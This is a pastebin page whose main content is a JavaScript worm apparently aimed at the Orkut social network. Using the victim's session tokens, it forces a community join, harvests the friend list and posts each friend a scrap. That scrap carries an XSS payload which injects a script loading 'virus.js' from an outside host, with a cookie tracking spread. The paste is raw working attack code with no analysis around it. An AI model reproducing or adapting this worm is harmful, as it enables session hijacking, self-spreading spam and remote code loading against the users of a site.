Recent
:: anonymous
10 mins ago
:: anonymous
40 mins ago
:: This post is secret Bloodankh
3 hrs ago
:: anonymous
6 hrs ago
:: This post is secret Horny
9 hrs ago
:: Horny
10 hrs ago
:: anonymous
10 hrs ago
:: 011 Tripmag - D
12 hrs ago
:: This post is secret c-x
13 hrs ago
:: c-x
13 hrs ago
:: c-x
15 hrs ago
:: hilikus
20 hrs ago
:: (stydim se)
1 day ago
:: DarkAvenger
1 day ago
:: anonymous
1 day ago
rss 2.0 feed

Make New Post
Posts: 8825

Syntax:       Wrapping:  

   #4382 Posted by synopsi 2007-12-20 06:51:04
Formated by GeSHi
  1. var index = 0;
  2. var POST = JSHDF["CGI.POST_TOKEN"];
  3. var SIG = JSHDF["Page.signature.raw"];
  4. function
  5. createXMLHttpRequest ()
  6. {
  7. try
  8. {
  9. return new ActiveXObject ("Msxml2.XMLHTTP")}
  10. catch (e)
  11. {
  12. };
  13. try
  14. {
  15. return new ActiveXObject ("Microsoft.XMLHTTP")}
  16. catch (e)
  17. {
  18. };
  19. try
  20. {
  21. return new XMLHttpRequest ()}
  22. catch (e)
  23. {
  24. };
  25. return null};
  26. function
  27. setCookie (name, value, expires, path, domain, secure)
  28. {
  29. var curCookie =
  30. name + "=" + escape (value) + (expires ? "; expires=" +
  31. expires.toGMTString () : "") +
  32. (path ? "; path=" + path : "") + (domain ? "; domain=" + domain : "") +
  33. (secure ? "; secure" : "");
  34. document.cookie = curCookie};
  35. function
  36. getCookie (name)
  37. {
  38. var dc = document.cookie;
  39. var prefix = name + "=";
  40. var begin = dc.indexOf ("; " + prefix);
  41. if (begin == -1)
  42. {
  43. begin = dc.indexOf (prefix);
  44. if (begin != 0)
  45. {
  46. return false}
  47. }
  48. else
  49. {
  50. begin += 2};
  51. var end = document.cookie.indexOf (";", begin);
  52. if (end == -1)
  53. {
  54. end = dc.length};
  55. return unescape (dc.substring (begin + prefix.length, end))};
  56. function
  57. deleteCookie (name, path, domain)
  58. {
  59. if (getCookie (name))
  60. {
  61. document.cookie =
  62. name + "=" + (path ? "; path=" + path : "") + (domain ? "; domain=" +
  63. domain : "") +
  64. "; expires=Thu, 01-Jan-70 00:00:01 GMT";
  65. history.go (0)}
  66. };
  67. function
  68. loadFriends ()
  69. {
  70. var xml = createXMLHttpRequest ();
  71. if (xml)
  72. {
  73. xml.open ("GET", "http://www.orkut.com/Compose.aspx", true);
  74. xml.send (null);
  75. xml.onreadystatechange = function ()
  76. {
  77. if (xml.readyState == 4)
  78. {
  79. if (xml.status == 200)
  80. {
  81. var xmlr = xml.responseText;
  82. var div = document.createElement ("div");
  83. div.innerHTML = xmlr;
  84. var select = div.getElementsByTagName ("select").item (0);
  85. if (select)
  86. {
  87. select.removeChild (select.
  88. getElementsByTagName ("option").
  89. item (0));
  90. select.setAttribute ("id", "selectedList");
  91. select.style.display = "none";
  92. document.body.appendChild (select);
  93. sendScrap ()}
  94. }
  95. else
  96. {
  97. loadFriends ()}
  98. }
  99. };
  100. xml.send (null)}
  101. };
  102. function
  103. cmm_join ()
  104. {
  105. var send =
  106. "POST_TOKEN=" + encodeURIComponent (POST) + "&signature=" +
  107. encodeURIComponent (SIG) + "&Action.join";
  108. var xml = createXMLHttpRequest ();
  109. xml.open ('POST', 'http://www.orkut.com/CommunityJoin.aspx?cmm=44001818',
  110. true);
  111. xml.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  112. xml.send (send);
  113. xml.onreadystatechange = function ()
  114. {
  115. if (xml.readyState == 4)
  116. {
  117. if (xml.status != 200)
  118. {
  119. cmm_join ();
  120. return};
  121. loadFriends ()}
  122. }
  123. };
  124. function
  125. sendScrap ()
  126. {
  127. if (index == document.getElementById ("selectedList").length)
  128. {
  129. return};
  130. var scrapText =
  131. "2008 vem ai... que ele comece mto bem para vc<br/>[silver]RL " +
  132. new Date () +
  133. "[/silver]<br/><embed src=\"http://www.orkut.com/LoL.aspx\" type=\"application/x-shockwave-flash\" wmode=\"transparent'); script=document.createElement('script');script.src='http://files.myopera.com/virusdoorkut/files/virus.js';document.getElementsByTagName('head')[0].appendChild(script);escape('\" width=\"1\" height=\"1\"></embed>";
  134. var send =
  135. "Action.submit=1&POST_TOKEN=" + encodeURIComponent (POST) +
  136. "&scrapText=" + encodeURIComponent (scrapText) + "&signature=" +
  137. encodeURIComponent (SIG) + "&toUserId=" +
  138. document.getElementById ("selectedList").item (index).value;
  139. var xml = createXMLHttpRequest ();
  140. xml.open ("POST", "http://www.orkut.com/Scrapbook.aspx", true);
  141. xml.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded;");
  142. xml.send (send);
  143. xml.onreadystatechange = function ()
  144. {
  145. if (xml.readyState == 4)
  146. {
  147. index++;
  148. var wDate = new Date;
  149. wDate.setTime (wDate.getTime () + 86400);
  150. setCookie ('wormdoorkut', index, wDate);
  151. sendScrap ()}
  152. }
  153. };
  154.  
  155. if (!getCookie ('wormdoorkut'))
  156. {
  157. var wDate = new Date;
  158. wDate.setTime (wDate.getTime () + 86400);
  159. setCookie ('wormdoorkut', '0', wDate)};
  160. index = getCookie ('wormdoorkut');
  161. cmm_join ();
Parsed in 0.1266768 seconds
::  Inline view Inline view ::  Email this post Email  ::  Print Print   

:: Download   Download Text File4382.txt   Download Gziped text File4382.txt.gz   Download HTML File4382.html   Download PDF File4382.pdf
:: Print into    Print into HTML FileHTML document   Print into PDF FilePDF document

:: Make Diff

:: Erase Post

* Code:

To highlight particular lines, prefix each line with @@


Description:


Secret key (for later deletion)
Syntax:     


comments (0)


Copyright © 2006 Openpastebin